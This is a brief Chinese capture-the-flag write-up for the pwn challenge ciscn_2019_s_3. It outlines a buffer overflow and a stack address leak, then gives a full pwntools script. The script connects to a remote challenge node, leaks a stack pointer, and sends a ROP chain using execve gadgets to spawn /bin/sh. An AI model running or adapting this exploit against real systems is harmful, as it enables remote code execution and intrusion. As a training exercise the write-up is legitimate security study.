ciscn_2019_s_3
一查保护
二、代码审计
三、过程
大概就是一个read
和一个write
,往栈里可写0x400,可读0x30,其中0x20没什么用,接下来8个字符是栈上地址,相对于首字符相差280,用来确定字符串/bin/sh
位置,gadget里有系统调用execve
四、脚本
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
io=remote('node3.buuoj.cn',26577)
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517
pl1='a'*0x10+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)
io.interactive()